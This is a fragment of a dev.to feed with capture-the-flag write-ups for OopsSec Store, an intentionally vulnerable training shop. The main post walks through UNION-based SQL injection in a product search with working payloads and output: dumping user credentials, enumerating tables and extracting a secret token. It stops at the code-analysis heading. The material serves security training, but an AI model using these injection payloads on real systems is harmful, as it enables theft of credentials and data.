  &lt;span class="na"&gt;include&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;product&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;select&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="na"&gt;orderBy&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;createdAt&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;desc&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The root issue is treating database-sourced data as safe. It isn't. Parameterize every query regardless of where the data comes from. For filter dropdowns like this one, an allowlist of valid values is even better since the set of authors is known ahead of time.&lt;/p&gt;
&lt;h2&gt;
  
  
  Lab
&lt;/h2&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://assets.dev.to/assets/github-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/kOaDT" rel="noopener noreferrer"&gt;
        kOaDT
      &lt;/a&gt; / &lt;a href="https://github.com/kOaDT/oss-oopssec-store" rel="noopener noreferrer"&gt;
        oss-oopssec-store
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      Security training for the apps you actually ship. Open your browser and start hacking.
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;&lt;div&gt;
&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;OSS - OopsSec Store&lt;/h1&gt;
&lt;/div&gt;


&lt;/div&gt;

&lt;div&gt;
&lt;p&gt;
&lt;b&gt;Security training for the apps you actually ship.&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
36 challenges across &lt;b&gt;web, API, authentication, business logic, cryptography, supply chain, AI agents and MCP&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Break a deliberately vulnerable e-commerce app built on &lt;b&gt;Next.js, React, TypeScript and Prisma&lt;/b&gt;.&lt;br&gt;
Find the bugs. Exploit them. Understand why they work
&lt;/p&gt;
&lt;p&gt;
&lt;a href="https://hub.docker.com/r/leogra/oss-oopssec-store" rel="nofollow noopener noreferrer"&gt;Docker Hub&lt;/a&gt; ·
&lt;a href="https://www.npmjs.com/package/create-oss-store" rel="nofollow noopener noreferrer"&gt;npm&lt;/a&gt; ·
&lt;a href="https://koadt.github.io/oss-oopssec-store/roadmap" rel="nofollow noopener noreferrer"&gt;Roadmap&lt;/a&gt; ·
&lt;a href="https://koadt.github.io/oss-oopssec-store" rel="nofollow noopener noreferrer"&gt;Walkthroughs&lt;/a&gt; ·
&lt;a href="https://github.com/kOaDT/oss-oopssec-store/blob/main/CONTRIBUTING.md" rel="noopener noreferrer"&gt;Contributing&lt;/a&gt; ·
&lt;a href="https://github.com/users/kOaDT/projects/3/views/6" rel="noopener noreferrer"&gt;Good first issues&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;&lt;a href="https://vwad.owasp.org/app/oopssec-store/" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/189b82eed6666df94ebcdb32012ee7092da37f7dc9c2a8b0174841239e0c3b63/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f4f574153502d565741442d3030303030303f7374796c653d666c61742d737175617265266c6f676f3d6f77617370266c6f676f436f6c6f723d7768697465" alt="OWASP VWAD"&gt;&lt;/a&gt;
&lt;a href="https://tryhackme.com/jr/oopssecstorethesummeraudit" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/b61e022aae697920c7a659ae1c96783a8e022dbc60bd088083799868c63fc6b8/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f5472794861636b4d652d5468655f53756d6d65725f41756469742d3231324334323f7374796c653d666c61742d737175617265266c6f676f3d7472796861636b6d65266c6f676f436f6c6f723d7768697465" alt="TryHackMe room"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/1d10e56de123b0e057ac61dd99e9bd1cde6354a6e830e2921a27976a1a191382/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f2545322539412541302545462542382538465f496e74656e74696f6e616c6c792d56756c6e657261626c652d7265643f7374796c653d666c61742d737175617265"&gt;&lt;img src="https://camo.githubusercontent.com/1d10e56de123b0e057ac61dd99e9bd1cde6354a6e830e2921a27976a1a191382/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f2545322539412541302545462542382538465f496e74656e74696f6e616c6c792d56756c6e657261626c652d7265643f7374796c653d666c61742d737175617265" alt="Intentionally Vulnerable"&gt;&lt;/a&gt;
&lt;br&gt;
&lt;a href="https://github.com/kOaDT/oss-oopssec-store/blob/main/LICENSE" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/850c1966f1db3039f3da33520d3d53267b980d780d01861a291ee8eeedd4c388/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f6c6963656e73652f6b4f6144542f6f73732d6f6f70737365632d73746f72653f7374796c653d666c61742d737175617265" alt="GitHub license"&gt;&lt;/a&gt;
&lt;a href="https://github.com/kOaDT/oss-oopssec-store/pulls" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/b9794c36c8acae9ee430571528e7cff7c489b661499684da5399059ecf4631f1/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f5052732d77656c636f6d652d627269676874677265656e3f7374796c653d666c61742d737175617265" alt="PRs Welcome"&gt;&lt;/a&gt;
&lt;a href="https://github.com/users/kOaDT/projects/3/views/6" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/fd668a18d043e13705ac71a7a30138bd83d730d5f6a4f0c4e83ee9b4916052f4/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f476f6f645f66697273742d6973737565732d3730353766663f7374796c653d666c61742d737175617265" alt="Good first issues"&gt;&lt;/a&gt;
&lt;br&gt;
&lt;a href="https://github.com/kOaDT/oss-oopssec-store/stargazers" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/5f5ee149d7031a72197c539543ddbab7ed2405ec92343de94ed4045cc74bad63/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f73746172732f6b4f6144542f6f73732d6f6f70737365632d73746f72653f7374796c653d736f6369616c" alt="GitHub stars"&gt;&lt;/a&gt;
&lt;a href="https://github.com/kOaDT/oss-oopssec-store/network" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/b715a1915845893b3bb2c70be7b1e6929512f329d8674e459494a24708bedf13/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f666f726b732f6b4f6144542f6f73732d6f6f70737365632d73746f72653f7374796c653d736f6369616c" alt="GitHub forks"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;

&lt;div class="highlight highlight-source-shell notranslate position-relative overflow-auto js-code-highlight"&gt;
&lt;pre&gt;   ____  ____ ____     ____                  ____            ____  _
  / __ &lt;span class="pl-cce"&gt;\/&lt;/span&gt; __// __/    / __ &lt;span class="pl-cce"&gt;\ &lt;/span&gt;___   ___  ___ / __/ ___  ____ / __/ / /_ ___   ____ ___
 / /_/ /&lt;span class="pl-cce"&gt;\ \ &lt;/span&gt;_&lt;span class="pl-cce"&gt;\ \ &lt;/span&gt;    / /_/ // _ &lt;span class="pl-cce"&gt;\ &lt;/span&gt;/ _ &lt;span class="pl-cce"&gt;\(&lt;/span&gt;_-&lt;span class="pl-k"&gt;&amp;lt;&lt;/span&gt;_&lt;span class="pl-cce"&gt;\ \ &lt;/span&gt; / -_)/ __/_&lt;span class="pl-cce"&gt;\ \ &lt;/span&gt; / __// _ &lt;span class="pl-cce"&gt;\ &lt;/span&gt;/ __// -_)
 &lt;span class="pl-cce"&gt;\_&lt;/span&gt;___/___//___/     &lt;span class="pl-cce"&gt;\_&lt;/span&gt;___/ &lt;span class="pl-cce"&gt;\_&lt;/span&gt;__// .__/___/___/  &lt;span class="pl-cce"&gt;\_&lt;/span&gt;_/ &lt;span class="pl-cce"&gt;\_&lt;/span&gt;_//___/  &lt;span class="pl-cce"&gt;\_&lt;/span&gt;_/ &lt;span class="pl-cce"&gt;\_&lt;/span&gt;__//_/   &lt;span class="pl-cce"&gt;\_&lt;/span&gt;_/
                                /_/
&lt;span class="pl-c"&gt;&lt;span class="pl-c"&gt;#&lt;/span&gt; Start with Node.js&lt;/span&gt;
npx&lt;/pre&gt;…
&lt;/div&gt;&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/kOaDT/oss-oopssec-store" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;






&lt;h2&gt;
  
  
  Disclaimers
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Do not deploy OopsSec Store on a production server.&lt;/strong&gt; This application is intentionally vulnerable and should only be used in isolated, local environments for educational purposes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Do not exploit vulnerabilities on systems you don’t have explicit authorization to test.&lt;/strong&gt; Unauthorized access to computer systems is illegal. Always obtain proper permission before performing security testing.&lt;/p&gt;

&lt;h2&gt;
  
  
  Feedback &amp;amp; Support
&lt;/h2&gt;

&lt;p&gt;Having trouble following this writeup? Found a typo or have suggestions for improvement?&lt;/p&gt;

&lt;p&gt;Feel free to open an issue or start a discussion on &lt;a href="https://github.com/kOaDT/oss-oopssec-store" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>security</category>
      <category>webdev</category>
      <category>node</category>
      <category>typescript</category>
    </item>
    <item>
      <title>Exfiltrating a Hidden Secret Through a Search Bar with UNION SELECT</title>
      <dc:creator>Oopssec Store</dc:creator>
      <pubDate>Thu, 01 Oct 2026 19:00:00 +0000</pubDate>
      <link>https://dev.to/oopssec-store/exfiltrating-a-hidden-secret-through-a-search-bar-with-union-select-4bo2</link>
      <guid>https://dev.to/oopssec-store/exfiltrating-a-hidden-secret-through-a-search-bar-with-union-select-4bo2</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;How to exploit a vulnerability in a tiny search box to quietly expose an entire database.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;This writeup walks through a SQL injection in the product search feature. The search input gets dropped straight into a raw SQL query with no sanitization, so you can manipulate the query to pull data from tables the catalogue never touches. A payload that merely looks like SQL earns nothing here: the flag is handed over only once the response carries a row the search could never have returned.&lt;/p&gt;

&lt;h2&gt;
  
  
  Lab setup
&lt;/h2&gt;

&lt;p&gt;Spin up the lab locally:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npx create-oss-store oss-store
&lt;span class="nb"&gt;cd &lt;/span&gt;oss-store
npm run dev
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Or with Docker (no Node.js required):&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker run &lt;span class="nt"&gt;-p&lt;/span&gt; 127.0.0.1:3000:3000 leogra/oss-oopssec-store
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The app runs at &lt;code&gt;http://localhost:3000&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6pilhqpckohdnzuf9l3u.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6pilhqpckohdnzuf9l3u.png" alt="OopsSec Store homepage interface" width="800" height="404"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Feature overview and attack surface
&lt;/h2&gt;

&lt;p&gt;The target here is the product search bar in the navigation header. It lets users search products by name or description, hitting this endpoint:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/api/products/search?q=&amp;lt;search_term&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;On the backend, the &lt;code&gt;q&lt;/code&gt; parameter gets interpolated directly into a SQL query. No escaping, no parameterization. Whatever you type becomes part of the SQL statement.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyrz0nmnw0dnveqczr0u6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyrz0nmnw0dnveqczr0u6.png" alt="Product search input field" width="800" height="581"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You can close the intended query context and tack on your own &lt;code&gt;UNION SELECT&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;
  
  
  Exploitation procedure
&lt;/h2&gt;
&lt;h3&gt;
  
  
  Initial behavior verification
&lt;/h3&gt;

&lt;p&gt;Start by searching for something normal, like &lt;code&gt;fresh&lt;/code&gt;. You should get product results back, confirming the endpoint works and actually uses the &lt;code&gt;q&lt;/code&gt; parameter.&lt;/p&gt;
&lt;h3&gt;
  
  
  Injection probing
&lt;/h3&gt;

&lt;p&gt;Now try this payload:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="s1"&gt;' UNION SELECT 1,2,3,4,5--
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;A row of &lt;code&gt;1,2,3,4,5&lt;/code&gt; shows up among the products: the single quote broke out of the &lt;code&gt;LIKE&lt;/code&gt; clause and the &lt;code&gt;UNION SELECT&lt;/code&gt; merged in. The response also tells you the injection is not the finish line:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"message"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"SQL syntax detected in the search term. The flag tracks one specific internal secret, and it is not in these rows."&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Getting the column count wrong is just as informative, because SQLite's error comes straight back, as an HTTP 500:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"error"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;Invalid `prisma.$queryRawUnsafe()` invocation:&lt;/span&gt;&lt;span class="se"&gt;\n\n\n&lt;/span&gt;&lt;span class="s2"&gt;Raw query failed. Code: `1`. Message: `SELECTs to the left and right of UNION do not have the same number of result columns`"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"products"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Five columns it is.&lt;/p&gt;
&lt;h3&gt;
  
  
  UNION-based data extraction
&lt;/h3&gt;

&lt;p&gt;Time to pull real data. Submit this:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;DELIVERED&lt;/span&gt;&lt;span class="s1"&gt;' UNION SELECT id, email, password, role, addressId FROM users--
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;This merges the &lt;code&gt;users&lt;/code&gt; table into the product results. The app doesn't check where the columns came from, so it happily returns user credentials alongside product listings.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fva4macbgshby42q42orm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fva4macbgshby42q42orm.png" alt="Network response showing manipulated query results" width="800" height="493"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Same thing via curl:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="s2"&gt;"http://localhost:3000/api/products/search?q=DELIVERED%27%20UNION%20SELECT%20id%2C%20email%2C%20password%2C%20role%2C%20addressId%20FROM%20users--"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  Schema enumeration
&lt;/h3&gt;

&lt;p&gt;Credentials are loot, not the flag. What the endpoint rewards is reading a row no product search would ever return, so ask SQLite what else lives in there:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="s1"&gt;' UNION SELECT 1, group_concat(name), '&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="s1"&gt;', 1, '&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="s1"&gt;' FROM sqlite_master WHERE type='&lt;/span&gt;&lt;span class="k"&gt;table&lt;/span&gt;&lt;span class="s1"&gt;'--
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;users,products,carts,cart_items,orders,order_items,addresses,flags,hints,revealed_hints,reviews,support_access_tokens,found_flags,project_init,internal_secrets,visitor_logs,wishlists,wishlist_items,password_reset_tokens,supplier_orders,coupons,gift_cards,stream_config,sqlite_sequence
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;code&gt;flags&lt;/code&gt; is a dead end: any payload naming that table gets a &lt;code&gt;403&lt;/code&gt;, and every &lt;code&gt;OSS{…}&lt;/code&gt; value is stripped out of the response before it leaves the server. &lt;code&gt;internal_secrets&lt;/code&gt; is the one to look at:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="s1"&gt;' UNION SELECT 1, sql, '&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="s1"&gt;', 1, '&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="s1"&gt;' FROM sqlite_master WHERE name='&lt;/span&gt;&lt;span class="n"&gt;internal_secrets&lt;/span&gt;&lt;span class="s1"&gt;'--
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;CREATE&lt;/span&gt; &lt;span class="k"&gt;TABLE&lt;/span&gt; &lt;span class="nv"&gt;"internal_secrets"&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;"id"&lt;/span&gt; &lt;span class="nb"&gt;TEXT&lt;/span&gt; &lt;span class="k"&gt;NOT&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt; &lt;span class="k"&gt;PRIMARY&lt;/span&gt; &lt;span class="k"&gt;KEY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;"slug"&lt;/span&gt; &lt;span class="nb"&gt;TEXT&lt;/span&gt; &lt;span class="k"&gt;NOT&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;"token"&lt;/span&gt; &lt;span class="nb"&gt;TEXT&lt;/span&gt; &lt;span class="k"&gt;NOT&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The schema names a &lt;code&gt;slug&lt;/code&gt; column but says nothing about its values. Read those rather than guessing them:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="s1"&gt;' UNION SELECT 1, group_concat(slug), '&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="s1"&gt;', 1, '&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="s1"&gt;' FROM internal_secrets--
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;product-search-sql-injection,second-order-sql-injection,sql-injection,x-forwarded-for-sql-injection
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;One row per injection challenge, each named after the challenge it belongs to.&lt;/p&gt;
&lt;h3&gt;
  
  
  Claiming the flag
&lt;/h3&gt;

&lt;p&gt;This endpoint only looks for its own token, so ask for the &lt;code&gt;product-search-sql-injection&lt;/code&gt; row:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="s1"&gt;' UNION SELECT 1, token, '&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="s1"&gt;', 1, '&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="s1"&gt;' FROM internal_secrets WHERE slug='&lt;/span&gt;&lt;span class="n"&gt;product&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;search&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;sql&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;injection&lt;/span&gt;&lt;span class="s1"&gt;'--
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;An empty &lt;code&gt;LIKE&lt;/code&gt; matches every product, so the whole catalogue comes back and the&lt;br&gt;
injected row sits among it — the literal &lt;code&gt;1&lt;/code&gt; in the first column is what marks it:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"products"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"cmua7d4i4000gienxfk8q9c9l"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Artisan Cheese Board"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"…"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"…"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"CANARY-PRODUCT-SEARCH-SQL-INJECTION-d12a4cdea6d3"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"description"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"x"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"price"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"imageUrl"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"y"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"flag"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"OSS{pr0duct_s34rch_sql_1nj3ct10n}"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"message"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Internal secret exfiltrated through the product search! Well done!"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The token is generated when the lab is seeded, so it differs on every instance — returning it is proof the query ran.&lt;/p&gt;

&lt;p&gt;Dropping the &lt;code&gt;WHERE&lt;/code&gt; works just as well: all four rows come back and the endpoint finds its own token among them. The filter keeps the response readable, it is not a requirement.&lt;/p&gt;
&lt;h2&gt;
  
  
  Vulnerable code analysis
&lt;/h2&gt;

&lt;p&gt;Here's the problem. The query is built with string concatenation:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
